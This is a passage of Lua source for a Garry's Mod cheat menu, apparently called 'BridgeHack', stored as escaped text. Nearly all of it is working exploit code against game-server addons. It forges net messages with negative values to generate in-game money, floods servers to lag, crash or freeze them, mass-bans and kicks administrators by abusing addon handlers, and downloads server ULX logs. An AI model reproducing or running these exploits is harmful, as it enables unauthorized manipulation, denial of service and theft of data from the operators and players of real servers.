)\x0a\x0a\x09\x09\x09HitPanel:MakePopup()\x0a\x0a\x09\x09\x09function HitPanel:Paint( w, h )\x0a\x0a\x09\x09\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 255,160) )\x0a\x0a\x09\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09\x09\x09draw.SimpleText( \"BridgeHack HitHack Menu\", \"PopupFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local Button = vgui.Create(\"DButton\", HitPanel)\x0a\x0a\x09\x09\x09Button:SetPos( 250, 0 )\x0a\x0a\x09\x09\x09Button:SetSize( 50, 25 )\x0a\x0a\x09\x09\x09Button:SetText( \"\" )\x0a\x0a\x09\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )\x0a\x0a\x09\x09\x09\x09draw.SimpleText( \"Close\", \"HeaderFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09\x09\x09HitPanel:Close()\x0a\x0a\x09\x09\x09end\x09\x0a\x0a\x0a\x0a\x09\x09local HitButton = vgui.Create(\"DButton\", HitPanel)\x0a\x0a\x09\x09\x09HitButton:SetPos( 140, 100 )\x0a\x0a\x09\x09\x09HitButton:SetSize( 100, 20 )\x0a\x0a\x09\x09\x09HitButton:SetText( \"Get Money\" )\x0a\x0a\x09\x09\x09HitButton:SetTextColor( Color(255,255,255) )\x0a\x0a\x09\x09\x09function HitButton:Paint( w, h )\x0a\x0a\x09\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09\x09HitButton.DoClick = function()\x0a\x0a\x09\x09\x09\x09ply:ConCommand(\"bh_hithack\")\x0a\x0a\x09\x09\x09end\x09\x09\x0a\x0a\x0a\x0a\x09\x09local HitSlider = vgui.Create( \"DNumSlider\", HitPanel )\x0a\x0a\x09\x09\x09HitSlider:SetPos( 20, 50 )\x0a\x0a\x09\x09\x09HitSlider:SetSize( 300, 40 )\x0a\x0a\x09\x09\x09HitSlider:SetText( \"Money Ammount\" )\x0a\x0a\x09\x09\x09HitSlider:SetMin( 0 )\x0a\x0a\x09\x09\x09HitSlider:SetMax( 1000000000 )\x0a\x0a\x09\x09\x09HitSlider:SetDecimals( 0 )\x0a\x0a\x09\x09\x09HitSlider:SetConVar( \"bh_hitmenuammount\" )\x0a\x0a\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" ) \x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] 3D Car Dealer\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_3dcardealer_spamstore\")\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] VCMOD Sell-car\",function() \x0a\x0a\x09\x09chatP(\"Attempting to give money..\") \x0a\x0a\x09\x09for i=0,30 do \x0a\x0a\x09\x09\x09for i=1,10 do \x0a\x0a\x09\x09\x09\x09net.Start( \"AttemptSellCar\" ) \x0a\x0a\x09\x09\x09\x09net.WriteInt( i, 8 ) \x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" ) \x0a\x0a\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] BAILNPC\",function() \x0a\x0a\x09\x09chatP(\"Attempting to give money..\")\x0a\x0a\x09\x09\x09net.Start( \"BailOut\" )\x0a\x0a\x09\x09\x09net.WriteEntity( ply )\x0a\x0a\x09\x09\x09net.WriteEntity( ply )\x0a\x0a\x09\x09\x09net.WriteFloat( -10000000000000)\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption(\"[$$] REALISTIC ATM\",function()\x0a\x0a\x09\x09local DermaPanel = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09DermaPanel:SetPos( 100, 100 )\x0a\x0a\x09\x09DermaPanel:SetSize( 300, 200 )\x0a\x0a\x09\x09DermaPanel:SetTitle( \" \" )\x0a\x0a\x09\x09DermaPanel:SetVisible( true )\x0a\x0a\x09\x09DermaPanel:SetDraggable( true )\x0a\x0a\x09\x09DermaPanel:ShowCloseButton( true )\x0a\x0a\x09\x09function DermaPanel:Paint( w, h )\x0a\x0a\x09\x09\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 0,160) )\x0a\x0a\x09\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09\x09\x09draw.SimpleText( \"BridgeHack Realistic ATM Hack Menu\", \"PopupFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09DermaPanel:MakePopup()\x0a\x0a\x09\x09\x0a\x0a\x09\x09local TextEntry = vgui.Create( \"DTextEntry\", DermaPanel )\x0a\x0a\x09\x09TextEntry:SetPos( 75, 30 )\x0a\x0a\x09\x09TextEntry:SetSize( 150, 25 )\x0a\x0a\x09\x09TextEntry:SetText( \"Account num(Including the -!)\" )\x0a\x0a\x09\x09\x0a\x0a\x09\x09local BBDButton = vgui.Create( \"DButton\",DermaPanel )\x0a\x0a\x09\x09BBDButton:SetPos( 10, 120 )\x0a\x0a\x09\x09BBDButton:SetText( \"Give Money\" )\x0a\x0a\x09\x09BBDButton:SetTextColor( Color(255,255,255) )\x0a\x0a\x09\x09BBDButton:SetSize( 280, 75 )\x0a\x0a\x09\x09function BBDButton:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,255,150) )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09BBDButton.DoClick = function()\x0a\x0a\x09\x09\x09local accnumber = TextEntry:GetValue()\x0a\x0a\x09\x09\x09local moneytogive = GetConVarNumber(\"bh_ratm_money2give\")\x0a\x0a\x09\x09\x09chatP(\"Attempting to give \"..moneytogive..\"$ on Account Number: \"..accnumber)\x0a\x0a\x09\x09\x09net.Start(\"ATM_DepositMoney_C2S\")\x0a\x0a\x09\x09\x09\x09net.WriteTable({Memo =BridgeHack.RandomVar,Num=accnumber,Amount=-moneytogive})\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09local RenderDistance = vgui.Create( \"DNumSlider\", DermaPanel )\x0a\x0a\x09\x09RenderDistance:SetPos( 10, 50)\x0a\x0a\x09\x09RenderDistance:SetSize( 275, 25 )\x0a\x0a\x09\x09RenderDistance:SetText( \"Money to give\" )\x0a\x0a\x09\x09RenderDistance:SetMin( 0 )\x0a\x0a\x09\x09RenderDistance:SetMax( 500000 )\x0a\x0a\x09\x09RenderDistance:SetDecimals( 0 ) \x0a\x0a\x09\x09RenderDistance:SetConVar( \"bh_ratm_money2give\" )\x0a\x0a\x09end):SetImage(\"icon16/coins_add.png\")\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] TOW TRUCK DRIVER\",function() \x0a\x0a\x09\x09chatP(\"Giving money..\")\x0a\x0a\x09\x09for k,v in pairs(ents.GetAll()) do \x0a\x0a\x09\x09\x09status(\"Attempting to make fine\") \x0a\x0a\x09\x09\x09net.Start(\"TOW_SubmitWarning\")\x0a\x0a\x09\x09\x09\x09net.WriteString(LocalPlayer():SteamID())\x0a\x0a\x09\x09\x09\x09net.WriteDouble(-100000000000)\x0a\x0a\x09\x09\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09net.Start(\"TOW_PayTheFine\")\x0a\x0a\x09\x09\x09\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0alocal DARKRPBASEDSUB = menu:AddSubMenu( \"DarkRP Minging/Scripts\" )\x0a\x0a\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"[ON] Dlog Lag\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_dlogs_lag\")\x0a\x0a\x09end):SetImage( \"icon16/table_error.png\" )\x0a\x0a\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"[OFF] Dlog Lag\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_dlogs_lag_off\")\x0a\x0a\x09end):SetImage( \"icon16/table_add.png\" )\x0a\x0a\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"HitMenu Spam\",function()\x0a\x0a\x09\x09local ply = LocalPlayer()\x0a\x0a\x0a\x0a\x09\x09local frame = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09\x09frame:Center()\x0a\x0a\x09\x09\x09frame:SetSize( 200,150 )\x0a\x0a\x09\x09\x09frame:SetTitle( \"\" )\x0a\x0a\x09\x09\x09frame:MakePopup()\x0a\x0a\x09\x09\x09frame:ShowCloseButton( false )\x0a\x0a\x09\x09function frame:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09\x09draw.SimpleText( \"BridgeHack Hitspam\", \"Default\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local playerMenu = vgui.Create( \"DComboBox\", frame )\x0a\x0a\x09\x09\x09playerMenu:SetPos( 10,40 )\x0a\x0a\x09\x09\x09\x09playerMenu:SetSize( 120,20 )\x0a\x0a\x09\x09\x09playerMenu:SetText( \"Select a Player\")\x0a\x0a\x09\x09for k, v in pairs( player.GetAll() ) do\x0a\x0a\x09\x09\x09playerMenu:AddChoice( tostring( v:Name() ) )\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local SpamHit = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09\x09SpamHit:SetPos( 50,70 )\x0a\x0a\x09\x09\x09SpamHit:SetSize( 100,20 )\x0a\x0a\x09\x09\x09SpamHit:SetText( \"Place Dem Hits\" )\x0a\x0a\x09\x09\x09SpamHit:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09\x09SpamHit.DoClick = function()\x0a\x0a\x09\x09local v = playerMenu:GetText()\x0a\x0a\x09\x09\x09for i=0, 4 do\x0a\x0a\x09\x09\x09ply:ConCommand('addhit \"'..v..'\" 500')\x0a\x0a\x09\x09\x09end \x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09local CrashButton = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09\x09CrashButton:SetPos( 50,110 )\x0a\x0a\x09\x09\x09CrashButton:SetSize( 100,20 )\x0a\x0a\x09\x09\x09CrashButton:SetText( \"Crash Server\" )\x0a\x0a\x09\x09\x09CrashButton:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09\x09CrashButton.DoClick = function()\x0a\x0a\x09\x09\x09\x09chatP(\"Hitmanmenu got rekt!\")\x0a\x0a\x09\x09\x09\x09consoleP(\"Hitmanmenu got rekt\")\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09for i=0, 10 do\x0a\x0a\x09\x09\x09\x09ply:ConCommand(\"bh_hitmancrash\")\x0a\x0a\x09\x09\x09\x09end \x0a\x0a\x09\x09end\x09\x09\x09\x0a\x0a\x0a\x0a\x09\x09local Button = vgui.Create(\"DButton\", frame)\x0a\x0a\x09\x09Button:SetPos( 170, 0 )\x0a\x0a\x09\x09Button:SetSize( 30, 20 )\x0a\x0a\x09\x09Button:SetText( \"Close\" )\x0a\x0a\x09\x09Button:SetTextColor( Color( 255, 255, 255) )\x0a\x0a\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color(0,0,0,200) )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09frame:Close()\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local label = vgui.Create( \"DLabel\", frame )\x0a\x0a\x09\x09label:SetPos( 10,20 )\x0a\x0a\x09\x09label:SetSize( 120,20 )\x0a\x0a\x09\x09label:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09label:SetText( \"Select Player:\" )\x0a\x0a\x09end):SetImage(\"icon16/accept.png\")\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"TP Spawn\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_tp_spawn\")\x0a\x0a\x09end):SetImage( \"icon16/cake.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"[ON] Advert Spam\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_advert 1\")\x0a\x0a\x09end):SetImage( \"icon16/bell_add.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"[OFF] Advert Spam\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_advert 0\")\x0a\x0a\x09end):SetImage( \"icon16/bell_delete.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"Remove looking at prop\",function()\x0a\x0a\x09\x09timer.Simple(0.1,function()\x0a\x0a\x09\x09\x09chatP(\"(This can be binded to: bh_removelookingat)\")\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_removelookingat\")\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage(\"icon16/map_delete.png\")\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[X] KUN ZIPTIES UNTIE SELF \",function() \x0a\x0a\x09\x09ply:ConCommand(\"bh_kun_ziptie_untie\")\x0a\x0a\x09end):SetImage( \"icon16/cut.png\" ) \x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"Open Armory\", function() \x0a\x0a\x09\x09chatP(\"Opening armory..\") \x0a\x0a\x09\x09ARMORY_WeaponMenu() \x0a\x0a\x09end):SetImage( \"icon16/bomb.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[ON/OFF] Spam Split Shipment / Make Shipemnt\", function()\x0a\x0a\x09\x09ply:ConCommand(\"___darkrpshipments\")\x0a\x0a\x09end):SetImage( \"icon16/cut_red.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[ON] Make everyone wanted (Cop only)\", function()\x0a\x0a\x09\x09timer.Create(\"lollol3294385\", 0.2, 0, function( )\x0a\x0a\x09\x09\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09\x09\x09local ligger_type = math.random(1,13)\x0a\x0a\x09\x09\x09\x09local ligger_type1 = math.random(1,13)\x0a\x0a\x09\x09\x09\x09status(\"Attempting Want on: \" .. v:Nick() .. \" - \" .. v:SteamID())\x0a\x0a\x09\x09\x09\x09if ligger_type1 == ligger_type then\x0a\x0a\x09\x09\x09\x09\x09if last_ply == v:Nick() then\x0a\x0a\x09\x09\x09\x09\x09\x09local ligger_type = math.random(1,13)\x0a\x0a\x09\x09\x09\x09\x09\x09local ligger_type1 = math.random(1,13)\x0a\x0a\x09\x09\x09\x09\x09else\x0a\x0a\x09\x09\x09\x09\x09\x09ply:ConCommand(\"darkrp wanted \" .. v:Nick() .. \" \" .. math.random(1,999))\x0a\x0a\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09local last_ply = v:Nick()\x0a\x0a\x09\x09\x09\x09\x09local ligger_type = math.random(1,13)\x0a\x0a\x09\x09\x09\x09\x09local ligger_type1 = math.random(1,13)\x0a\x0a\x09\x09\x09\x09\x09status(\"Force Wanting: \" .. v:Nick())\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage( \"icon16/cross.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[OFF] Make everyone wanted (Cop only)\", function()\x0a\x0a\x09\x09timer.Destroy(\"lollol3294385\")\x0a\x0a\x09\x09status(\"Stopped Want All Police\")\x0a\x0a\x09end):SetImage( \"icon16/tick.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[ON] DARKRP LAG\", function()\x0a\x0a\x09\x09ply:ConCommand(\"__bh_lagdarkrpdashit\")\x0a\x0a\x09end):SetImage( \"icon16/accept.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[OFF] DARKRP LAG\", function()\x0a\x0a\x09\x09ply:ConCommand(\"__bh_stopplag\")\x0a\x0a\x09end):SetImage( \"icon16/cancel.png\" )\x0a\x0a\x09\x0a\x0a\x09local SpoofingMenu = menu:AddSubMenu(\"Spoofing Scripts\")\x0a\x0a\x09SpoofingMenu:AddOption( \"Spoof Player colours and physgun colours\", function()\x0a\x0a\x09\x09ply:ConCommand(\"cl_weaponcolor 0.\" .. math.random(1,255) .. \" 0.\" .. math.random(1,255) .. \" 0.\" .. math.random(1,255))\x0a\x0a\x09\x09ply:ConCommand(\"cl_playercolor 0.\" .. math.random(1,255) .. \" 0.\" .. math.random(1,255) .. \" 0.\" .. math.random(1,255))\x0a\x0a\x09\x09status(\"Spoofed Physgun And Player Color.\")\x0a\x0a\x09end):SetImage( \"icon16/color_wheel.png\" )\x0a\x0a\x09\x0a\x0a\x09local exploitshacks = menu:AddSubMenu(\"Exploits\")\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"Bypass APAnti (Anti propkill)\",function() \x0a\x0a\x09\x09chatP(\"Bypassing Apanti..\")\x0a\x0a\x09\x09net.Receive(\"sMsgStandard\", function()\x0a\x0a\x09\x09\x09print(\"#Bypassed by HaxRUs\")\x0a\x0a\x09\x09end)\x0a\x0a\x09\x0a\x0a\x09\x09net.Receive(\"sNotifyHit\", function()\x0a\x0a\x09\x09\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09net.Receive(\"sMsgAdmins\", function()\x0a\x0a\x09\x09\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09net.Receive(\"sAlertNotice\", function()\x0a\x0a\x09\x09\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage( \"icon16/link_break.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption(\"[NLR] [ON] Freeze Spawning\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_nlr_freeze 1\")\x0a\x0a\x09end):SetImage( \"icon16/book_error.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption(\"[NLR] [OFF] Freeze Spawning\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_nlr_freeze 0\")\x0a\x0a\x09end):SetImage( \"icon16/book.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"Steal ULX Logs ( will save to download/data/ulx_logs/\" .. os.date(\"%m-%d-%y\") .. \".txt )\", function() \x0a\x0a\x09\x09status(\"Downloading ULX LOGS\")\x0a\x0a\x09\x09if file.Exists(\"download/data/ulx_logs/\" .. os.date(\"%m-%d-%y\") .. \".txt\", \"GAME\") == \"false\" then\x0a\x0a\x09\x09\x09consoleP(\"FILE EXISTS. REMOVE THE FILE BEFORE CONTINUEING!\")\x0a\x0a\x09\x09else\x0a\x0a\x09\x09\x09RequestFile(os.date( \"data/\" .. \"ulx_logs\" .. \"/\" .. \"%m-%d-%y\" .. \".txt\" ))\x0a\x0a\x09\x09\x09chatP(\"Downloading ulx logs. OPENING \" .. os.date(\"%m-%d-%y\") .. \" IN 15 SECONDS....\")\x0a\x0a\x09\x09\x09timer.Simple( 15, function()\x0a\x0a\x09\x09\x09\x09chatP(\"Opened data/ulx_logs/\" .. os.date(\"%m-%d-%y\") .. \".txt\")\x0a\x0a\x09\x09\x09\x09consoleP(\"**********************\")\x0a\x0a\x09\x09\x09\x09consoleP(\"** SUCCESS ULX DUMP **\")\x0a\x0a\x09\x09\x09\x09consoleP(\"**********************\")\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09end\x0a\x0a\x09end ):SetImage( \"icon16/lock_break.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption(\"[AE] KICK ADMINS+\",function()\x0a\x0a\x09\x09chatP(\"Kicking... (Will only work on admins+)\")\x0a\x0a\x09\x09timer.Create( \"aekickdaskids\", 3, 0, function()\x0a\x0a\x09\x09\x09for k,v in pairs(player.GetAll()) do \x0a\x0a\x09\x09\x09\x09if( v:GetUserGroup() != \"user\" ) then\x0a\x0a\x09\x09\x09\x09\x09if( v:GetUserGroup() != \"vip\" ) then\x0a\x0a\x09\x09\x09\x09\x09\x09for i=0, 700 do \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.Start('plyWarning') \x0a\x0a\x09\x09\x09\x09\x09\x09\x09\x09net.WriteEntity(v) \x0a\x0a\x09\x09\x09\x09\x09\x09\x09\x09net.WriteString('You have to select a player before doing a action.') \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x09consoleP('Attempting to kick '.. v:Nick().. \"!\")\x0a\x0a\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09end \x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage(\"icon16/wand.png\")\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption(\"DO NO CLICK ON HERE\",function()\x0a\x0a\x09\x09chatP(\"Banning...\")\x0a\x0a\x09\x09timer.Create(BridgeHack.RandomVar..\"ulxextendedban\",1,0,function()\x0a\x0a\x09\x09\x09for k,v in pairs(player.GetAll()) do \x0a\x0a\x09\x09\x09\x09if v:GetUserGroup() != \"user\" then -- Custom first ranks, youre fucked bro\x0a\x0a\x09\x09\x09\x09\x09if v != LocalPlayer() then \x0a\x0a\x09\x09\x09\x09\x09\x09status(\"Banning.. \"..v:Nick())\x0a\x0a\x09\x09\x09\x09\x09\x09net.Start(\"banleaver\")\x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.WriteString(v:SteamID()..\"{sep}\"..\"HaxRUs Rekt You\")\x0a\x0a\x09\x09\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage(\"icon16/wand.png\")\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \" [ON] ATLAS CHAT: FREEZE EVERYBODY\",function() \x0a\x0a\x09\x09chatP(\"Freezing everybody.. (Except you)\")\x0a\x0a\x09\x09timer.Create(\"Imakelovetou\"..BridgeHack.RandomVar,\"3\",0, function()\x0a\x0a\x09\x09\x09local trash = \"\";\x0a\x0a\x09\x09\x09for i=0, 15000 do\x0a\x0a\x09\x09\x09\x09trash = trash .. string.char(math.random(32, 126));\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09\x09\x0a\x0a\x09\x09\x09status(\"Freeze wave incoming\")\x0a\x0a\x09\x09\x09timer.Simple(1,function()\x0a\x0a\x09\x09\x09\x09status(\"Freeze wave done\")\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09\x09\x0a\x0a\x09\x09\x09for i=0,3 do \x0a\x0a\x09\x09\x09\x09net.Start(\"atlaschat.chat\")\x0a\x0a\x09\x09\x09\x09\x09net.WriteString(\"/ \".. trash)\x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end) \x0a\x0a\x09end):SetImage( \"icon16/lock.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \" [OFF] ATLAS CHAT: FREEZE EVERYBODY\",function() \x0a\x0a\x09\x09chatP(\"Stopping the freeze..\")\x0a\x0a\x09\x09timer.Destroy(\"Imakelovetou\"..BridgeHack.RandomVar,\"3\",0, function()\x0a\x0a\x09\x09\x0a\x0a\x09\x09end) \x0a\x0a\x09end):SetImage( \"icon16/lock_open.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"[ON] ESSENTIALS ULX SPAM FRIENDS TABLE\", function() \x0a\x0a\x09\x09timer.Create(\"spamdafukFRIENDSULX\", 2, 0, function()\x0a\x0a\x09\x09\x09local friends = {}\x0a\x0a\x09\x09\x09table.insert( friends, math.random(1,9999) )\x0a\x0a\x09\x09\x09for i = 1,6000 do\x0a\x0a\x09\x09\x09\x09net.Start(\"friendlist\")\x0a\x0a\x09\x09\x09\x09net.WriteTable(friends)\x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09\x09status(\"PROGRESS [10000/10000]\")\x0a\x0a\x09\x09end)\x0a\x0a\x09end ):SetImage( \"icon16/script_error.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"[OFF] ESSENTIALS ULX SPAM FRIENDS TABLE\", function()\x0a\x0a\x09\x09timer.Destroy(\"spamdafukFRIENDSULX\")\x0a\x0a\x09\x09status(\"Stopped ULX SPAM FRIENDS\")\x0a\x0a\x09end):SetImage( \"icon16/script.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"Ulx Extended TTT Weapon Spawn\", function()\x0a\x0a\x09\x09GiveMenu()\x0a\x0a\x09end):SetImage( \"icon16/book_key.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \" [ON] MX RADIO KICK ADMINS\",function()\x0a\x0a\x09\x09chatP(\"Kicking admins, Including anyone who isnt a user\")\x0a\x0a\x09\x09ply:ConCommand(\"bh_mx_kickadmins\")\x0a\x0a\x09\x09timer.Create( \"Kickthenoobs\"..BridgeHack.RandomVar, 3, 0, function()\x0a\x0a\x09\x09\x09for k,v in ipairs(player.GetAll()) do \x0a\x0a\x09\x09\x09\x09if( v:GetUserGroup() != \"user\" ) then \x0a\x0a\x09\x09\x09\x09\x09if v:Nick() != (ply:Nick()) then\x0a\x0a\x09\x09\x09\x09\x09\x09for i=0, 700 do \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.Start( \"GetCar\" ) \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.WriteEntity(v) \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.SendToServer() \x0a\x0a\x09\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x09chatP('Attempting to kick '.. v:Nick())\x0a\x0a\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09end \x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage( \"icon16/wand.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \" [OFF] MX RADIO KICK ADMINS\",function() \x0a\x0a\x09\x09chatP(\"Stopping the kicks\")\x0a\x0a\x09\x09timer.Destroy( \"Kickthenoobs\"..BridgeHack.RandomVar, 3, 0, function() end)\x0a\x0a\x09end):SetImage( \"icon16/wand.png\" )\x0a\x0a\x09\x0a\x0a\x09local Misc = menu:AddSubMenu(\" Misc \")\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"Hackable Server List\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_serverlist\")\x0a\x0a\x09end):SetImage( \"icon16/book.png\" )\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"Changelog\",function()\x0a\x0a\x09\x09ChangeLogMenu()\x0a\x0a\x09end):SetImage( \"icon16/book.png\" )\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"List Rank - Playername - Money\",function() \x0a\x0a\x09\x09chatP( \"Check Console\\n\" )\x0a\x0a\x09\x09consoleP(\"(NAME)-(STEAMID)-(CASH)\\n\\n\\n\")\x0a\x0a\x09\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09\x09local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0\x0a\x0a\x09\x09\x09if v:IsAdmin() then\x0a\x0a\x09\x09\x09\x09consoleP(\"(ADMIN!) - (\" .. v:Nick() .. \") - (\" .. v:SteamID() .. \") - ($\" .. playermoney .. \")\")\x0a\x0a\x09\x09\x09else\x0a\x0a\x09\x09\x09\x09consoleP(\"(USER) - (\" .. v:Nick() .. \") - (\" .. v:SteamID() .. \") - ($\" .. playermoney .. \")\")\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end\x0a\x0a\x09end):SetImage( \"icon16/text_align_center.png\" )\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"Check exploits\", function()\x0a\x0a\x09ply:ConCommand(\"bh_check\")\x0a\x0aend ):SetImage( \"icon16/book_addresses.png\" 